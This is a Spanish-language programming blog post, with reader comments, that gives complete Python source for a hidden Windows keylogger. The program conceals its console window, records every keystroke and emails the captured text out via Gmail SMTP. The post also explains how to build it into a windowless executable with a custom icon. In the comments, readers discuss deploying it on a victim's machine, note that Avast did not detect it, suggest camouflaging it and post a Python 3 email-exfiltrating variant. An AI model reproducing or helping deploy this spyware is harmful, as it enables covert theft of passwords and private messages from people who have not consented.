Con esta entrada quiero explicar como crear un Keylogger remoto en Python. Este Keylogger guarda cada pulsación de tecla y lo almacena en un archivo de texto (output.txt). Después de 500 pulsaciones, el keylogger envía un correo a una dirección específica con los últimos 500 caracteres del archivo .txt. (puedes cambiar la cantidad de pulsaciones)
- pythoncom y pyHook: para capturar los eventos del teclado
- PyWin32: conjunto de módulos que proporciona acceso a muchas funciones de la API de Windows
- smtplib: módulo para enviar correo
- pyinstaller: para crear un ejecutable del Keylogger.py
Explicando cada funcionalidad del Keylogger
Código completo Keylogger.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import win32console import win32gui import pythoncom,pyHook import time import smtplib import os import sys
# www.pythondiario.com
######################################################## # CONFIGURAR VARIABLES ######################################################## win = win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) #crea el archivo .txt f=open("c:\output.txt","w+") f.close #Variable que cuenta las tecas presionadas count = 0 ######################################################## # FUNCIONES ######################################################## def send_email(message): try: # Datos fromaddr = 'tuCorreo@gmail.com' toaddrs = 'tuCorreo@gmail.com' username = 'tuCorreo@gmail.com' password = 'tuContraseña' # Enviando el correo server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(username,password) server.sendmail(fromaddr, toaddrs, message) server.quit() except: pass def OnKeyboardEvent(event): global count count += 1 #presiona CTRL+E para salir if event.Ascii==5: sys.exit(0) if event.Ascii !=0 or 8: #abre output.txt f=open('c:\output.txt','r+') buffer=f.read() f.close() if len(buffer)==1: send_email("Arranco...") elif count == 500: #Envia los ultimos 500 caracteres capturado = buffer[-500:].replace("\n"," ") send_email(capturado) count = 0 #abre output.txt escribe y suma nuevas pulsaciones f=open('c:\output.txt','w') keylogs=chr(event.Ascii) #si se presiona ENTER if event.Ascii==13: keylogs='\n' #si se preciona ESPACIO if event.Ascii==32: keylogs='' buffer+=keylogs f.write(buffer) f.close() # crea el objeto hook manager hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
Crear el ejecutable con pyInstaler
Una vez que instales pyinstaler, en consola te posicionas en la carpeta donde se encuentra el archivo pyinstaler.exe y ejecutas el comando:python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py
--onefile se utiliza para empaquetar todo en un ejecutable
--windowed evita que se abra una ventana (consola) cuando la aplicación se ejecuta
Acuérdate de pasar bien la ruta de la imagen .ico y del archivo keylogger.py. El archivo ejecutable por lo general queda guardado en la carpeta "dist" dentro de la carpeta principal de Python.
Ahora solo resta probar en tu equipo y luego probarlo en otro equipo para ver si realmente funciona. Para ver si se está ejecutando puedes abrir el administrador de tareas de Windows
Saludos, Diego
Hola buenas tardes Diego cada día estoy patidifusa por el material que publicas y hasta los domingos escribes.
ResponderEliminar#AdictaAVuestroBlog =D
Un beso su merced.
Gracias Vanessa, no me podía aguantar el post hasta el Lunes jeje.
EliminarSaludos
Ya no mas falta envolver el dulce para que no se lo coman los niños :P...
ResponderEliminarExcelente post! No se puede hacer mejor.
ResponderEliminarCambiaría mucho para hacerlo en linux?
Hola, muchas gracias por tu comentario. Creo que para linux lo que cambiaría sería uno de los módulos importados.
Eliminarpyxhook - Para Linux
pyHook - Para Windows
Tendrías que ver si las funciones dentro del módulo para Linux son iguales a las de Windows, para que este Keylogger te funcione correctamente.
Saludos
Muchas gracias a ti por compartir tu sabiduría.
EliminarSoy nuevo en el blog, pero me parece que voy a hacerme un incondicional xD.
Una preguntilla más, ¿Como puedo hacer un ejecutable para linux?
Prueba hacer esto:
Eliminardesde la terminal pon este codigo:
sudo chmod a+x nombre_de_archivo.py
despues de esto, abre el codigo del programa y coloca el siguiente codigo en la primera linea de tu programa:
#!/usr/bin/env python
Luego ejecuta y prueba!!!
Amigo me sale lo siguiente
ResponderEliminarTraceback (most recent call last):
File "C:/secret/jh.py", line 4, in
import win32console
ImportError: DLL load failed: No se puede encontrar el módulo especificado.
>>>
Hola, gracias por visitar el blog!!! Tienes instalado el modulo PyWin32? en el inicio del post indico de donde descargarlo. Saludos
EliminarHola! Tengo el mismo problema, tengo instalado el """pywin32-221-cp27-cp27m-win32.whl""""
EliminarSi instalo mas de los módulos de la misma clase, tendría algún conflicto, estoy intentando solucionarlo, pero no encuentro problemas con el win32console dll en la comunidad x)
EliminarHola como estas? Gracias por visitar el blog!!!
EliminarYo creo que tuve en un principio el mismo inconveniente con PyWin32.
Fijate bien la versión (32/64 bit). Prueba instalar otra!!!
En la pagina: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/
Fijate en las versiones más descargadas. Luego me cuentas…
Saludos
También puedes instalar pip y probar:
Eliminarpip install pypiwin32
Este comentario ha sido eliminado por el autor.
EliminarGracias Diego! muchas gracias! <3
EliminarEs el mejor blog de python que encuentro en meses!
Funciono, ahora tengo un problema con IOError: Permission denied. Ya veo como me las apaño, lo dificil era lo otro gracias! :D
Excelente!!! Utilizo Python 2.7
EliminarCualquier cosa envias el error y lo vemos!!!
Gracias por el comentario ;)
Lo intentare de arreglar cuando despierte, si no duermo me puedo enfermar, gracias :D!
EliminarSaludos amigo, me sale este error:
EliminarFile "C:\Proyectos\Setup.py", line 1
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:22:17) [MSC v.1500 32 bit
Intel)] on win32
^
SyntaxError: invalid syntax
me podrias ayudar?
buenas buenas, quiero hacer uno pero no me sale sera que te puedes comunicar conmigo por correo, muachas gracias rafagomezbastardo@hotmail.com... es que tengo problema con en pyhook
ResponderEliminarHola Ruth, gracias por visitar el blog!!! Cual es el error que estas teniendo, así también nos sirve como retro alimentación!!!
EliminarSaludos
File "C:\Users\Hargus\Desktop\pklv2.pyw", line 15, in
ResponderEliminarf=open("c:\output.txt","w+")
IOError: [Errno 13] Permission denied: 'c:\\output.txt'
Estaba leyendo y el archivo necesita permisos de administrador ya que no siempre podría ejecutándose en terminales que tengan el usuario administrador iniciado, lo cual hace que el archivo ya no sea """"invisible"""" entre muchas comillas por que es claramente visible al ejecutarse el administrador de tareas. Estaba pensando en adjuntar un archivo batch para crear el .txt, puesto este no requiere de permisos especiales(Creo), ¿existe una mejor manera?
Error mio, los archivos bat para carpetas de sistema o unidades de sistema necesitan permisos de administrador, se podrían ejecutar pero no hacer nada.
EliminarLo solucionaste?
EliminarBueno mi ultima pregunta es, como podria detectar los caracteres especiales? Intente hacer esto pero evidentemente no funciona x)
ResponderEliminarif event.Ascii==64:
keylogs='@'
Hola... Como hago para que se detenga el programa... ya no quiero que me lleguen mensajes a mi correo.
ResponderEliminarHOla... inicial el administrador de tareas (control + alt + sup) y finaliza el proceso (el nombre que le pusiste al Keylogger)
EliminarSaludos
Tengo windows 7 y no necesariamente encontre el archivo del script que ejecute sino uno con el nombre de pythonw o mejor dicho finalice todos los procesos que tenian que ver con python. Igual gracias por responder. Saludos.
ResponderEliminarholo tengo un problema.
ResponderEliminarcuando ejecuto el keylogger y llega la hora de enviarme los 500 caracteres me llega un correo pero vacio, y reviso el archivo de texto y encuentro esto:
\\ \ \ \ F F H W
Que raro!!!
EliminarTienes todo el Keylogger igual al del ejemplo?
Saludos
Que tal amigo, buen post y todo pero lo hice de dos maneras, en diferentes versiones de Python estuvo mejor la 2.7 aunque me salio "No such file or directory: 'anyimage.ico'
ResponderEliminarHola, pero al final pudiste?
EliminarSaludos y gracias por visitar el blog!!!
Hola, sabes intento instalar pypwin32 por medio de pip y me lanza este error? que deberia hacer.
ResponderEliminarCould not find a version that satisfies the requirement pypwin32 (from versions: )
No matching distribution found for pypwin32
Hola Marco, al principio de la entrada comparto un link para instalar pypwin32. Espero te sirva!!!
EliminarGracias por visitar el blog
Hola Diego, tengo una duda, ya lo hice y lo ejecute(f5) normal y todo funciona excelente pero tengo un problema. Cuando ya lo paso con el pyinstaller, osea cuando ya tengo el keylogger.exe lo corro pero al correo solo me indica que "Arrancó..." pero no me llega lo demás, no llega lo que capturó por teclado.
ResponderEliminarSi me pudieras ayudar te lo agradecería.
Hola CLAY, esta parte la tienes igual (elif count == 500:) y todo lo que sigue debajo? porque es aqui donde manda el mail despues de los 500 caracteres.
EliminarSaludos y gracias por visitar el blog
hola que pasa si ya descargue los modulos y me aparece """Traceback (most recent call last):
ResponderEliminarFile "", line 3, in
import win32console
ImportError: No module named win32console"""
ya solucione el problema! solo habia que descargar en este enlace "https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/"la version pywin32-221.win32-py2.7.exe
Eliminartengo una pregunta...en que lugar seguro puedo instalar pyInstaler???
ResponderEliminary que tipo descargar??
ResponderEliminarAmigo yo estaba apunto de instalar el PyHook. Cuando lo intento instalar me dice que necesito la versión de python 2.7 y lo más raro es que cuando lfui a la consola a instalar python (porque pense que no lo tenia) me di cuenta que tenia python 2.7 porque era el que linux usa por defecto y me dice que lo necesito ayuda!!
ResponderEliminarque hacer Buffer en la funcion de OnKeyboardEvent??
ResponderEliminarAmigo por favor me podrias ayudar como instalo esas expaciones pyhook y pywin "dependiendo de mi sistema operativo si soy 64bist descargo la de 64bist?
ResponderEliminarsaludos amigo
que ago no me isntala el pyhook (C:\Users\ANTHONY\Desktop\python>pip install pyHook-1.5.1-cp27-cp27m-win32.whl
ResponderEliminarRequirement already satisfied: pyHook==1.5.1 from file:///C:/Users/ANTHONY/Desktop/python/pyHook-1.5.1-cp27-cp27m-win32.whl in c:\python27\lib\site-packages
me gustaria saber el por qué de después de unos minutos el programa deja de recoger los datos del teclado y sólo envía mensajes de correo electrónico repetidos sin cambios de nueva información insertada por el teclado
ResponderEliminarUna pregunta amigo, cuando quiero ejecutar python pyinstaller.exe --onefile --windowed --ico=anyimage.ico keylogger.py etando en la respectiva carpeta, me sale: python: can't open file 'pyinstaller.exe': [Errno 2] No such file or directory
ResponderEliminarcheca la carpeta de scrips, ahi encontre el pyinstaller.exe o bien para que no haya pierde buscalo en todo el C
EliminarEste comentario ha sido eliminado por el autor.
ResponderEliminardespues de buscar el pyinstaller por todos lados y encotrarlo, me sale un error a la hora de ejecutar el keylogger, me sale este error
ResponderEliminarFatal Error (titulo de la ventana)
Failed to excecute script keylogger (mensaje)
a alguien mas le paso??
hola se puede hacer software de llamadas masivas con python?
ResponderEliminarPregunta, dices que hay que tener instalador pythoncom, pyHook y smtplib para registrar teclas y enviar el correo, si lo pruebo en otro ordenador, este debe tenerlos instalados, se instalan al ejecutar el programa o como va? y otra duda, el programa solo funciona cuando se ejecuta no? osea si se reinicia el equipo sigue funcionando?
ResponderEliminarEn la otra máquina no es necesario tener nada instalado.
EliminarAsi como está hecho el keyloger, si reinicia la máquina deja de funcionar. Saludos
lo mismo de la pregunta de arriba sobro los modulos en otra maquina, que pasa si la maquina victima no tiene por ejemplo pyHook? queda inservible el keylogger?
ResponderEliminarEn la otra máquina no es necesario tener nada instalado. Saludos
EliminarHola!tengo un problema,
ResponderEliminarFile "C:/Users/red21/PycharmProjects/prototipo1/prototipo 1.py", line 74
capturado = buffer[-500:].replace("\n","
^
SyntaxError: EOL while scanning string literal
Process finished with exit code 1
tengo un problema en aquella linea, me podrias ayudar por favor, solo eso. Saludos!
Y si quiero que ademas de que funcione el Keylogger se ejecute otro programa como por ejemplo el notepad, pero que el notepad solo se ejecute una vez
ResponderEliminarEl antivirus lo detecta?
ResponderEliminarLo probé con Avast y no lo detectó
ResponderEliminarHola esta muy interesante el blog, sobre todo si es de programacion, pero tengo un pequeño problema, al probar el programa de Python me envía claramente el correo de "Arranco..." pero luego no me envia los 500 caracteres, que podria ser? tengo Python 2.7.11 con win7
ResponderEliminarBuenas gente!! muy completo e interesante el post, lo unico que PyHook para python 3.6 tiene un bug y no funciona correctamente, yo use este codigo y anda a la perfeccion!
ResponderEliminarimport sys
import keyboard
from email.mime.text import MIMEText
from smtplib import SMTP
#configuracion variables
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = True
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def OnKeyboardEvent():
if CLEAR_ON_STARTUP:
os.remove(FILE_NAME)
f = open(FILE_NAME, "a")
for string in keyboard.get_typed_strings(keyboard.record(TERMINATE_KEY)):
f.write(string + "\n")
f.close()
f = open(FILE_NAME, "r")
keys_txt = f.read()
f.close()
print(keys_txt)
send_email(keys_txt)
usamos el modulo keyboard para levantar los eventos de teclado y salimos al presionar la tecla que le enviamos(estoy viendo si encuentro una manera de terminarlo de acuerdo a la cantidad de caracteres), la implementacion del send_mail es tal cual lo implemento diego. Y fijense de no estar en una VPN que sino gmail no conecta, que estuve 1 hora hasta darme cuenta q era eso jeje saludos
aca les dejo la version un poco mejorada, basicamente dormimos durante x tiempo mientras levantamos los caracteres y comprobamos si ya superamos el limite en caso contrario volvemos a ejectutar el loop
ResponderEliminardef main_key():
if (os.path.exists(FILE_NAME)):
os.remove(FILE_NAME)
f = open(FILE_NAME, "a")
total_keys=''
while (len(total_keys) < 10):
keyboard.start_recording()
time.sleep(3)
gen = keyboard.stop_recording()
now_keys= list(keyboard.get_typed_strings(gen))
if not (now_keys[0] == ''):
total_keys = total_keys + ''.join( now_keys)
f.write(total_keys)
f.close()
send_email(total_keys)
He hecho todo, y me ha funcionado, solo un pequeño comentario, al momento de ya convertir mi script a .exe, lo eh ejecutado y todo bien, me mandó los correos y todo, el problema fue cuando ya al momento de tener mi archivo en .exe, al eliminar la carpeta en la cual venía situado el .txt en el cual se guardaba todo el texto que escribía, el programa dejaba de funcionar, por lo que puedo deducir que al pasar solo el .exe a otra máquina sin instalar phyton y todas esas cosas, éste programa no funcionará en lo absoluto, lo cual, le quita el chiste a todo este programa.
ResponderEliminarSi tu problema es el archivo .txt, tranquilamente puedes hacer el programa sin usarlo, inicializa una variable en la q vas concatenando todas las teclas levantadas y mandas eso directamente... es hasta mejor en mi opinion
ResponderEliminarTraceback (most recent call last):
ResponderEliminarFile "C:/Users/Enzo/Desktop/keylogger2.pym.py", line 13, in
f=open("c:\output.txt","w+")
IOError: [Errno 13] Permission denied: 'c:\\output.txt'
probaste ejecutando el script como admin??
ResponderEliminarA alguien mas le pasa al ejecutar el keylogger.exe. despues de pulsar la primer tecla el programa deja de funcionar
ResponderEliminarComo puedo hacer uno para android?
ResponderEliminarEspero me contestes, como puedo madar este keylogger a otra computadora para registrar lo que hace, se puede mandar por correo electronico y si es asi como se hace.
ResponderEliminarFACIL LO CAMUFLAS Y LO ASES EJECUTABLE CON UN CLIC
EliminarUNA PREGUNTA A ALGUIEN LE FUNCIONO
ResponderEliminarAmigo me arias el comando ho hay alguien que me ayude hacelo por mi estaría muy agredecido. Solo os pido q surayyen en rojo o en mayúsculas el sitio en donde va mi email y p contraseña.
ResponderEliminarGracias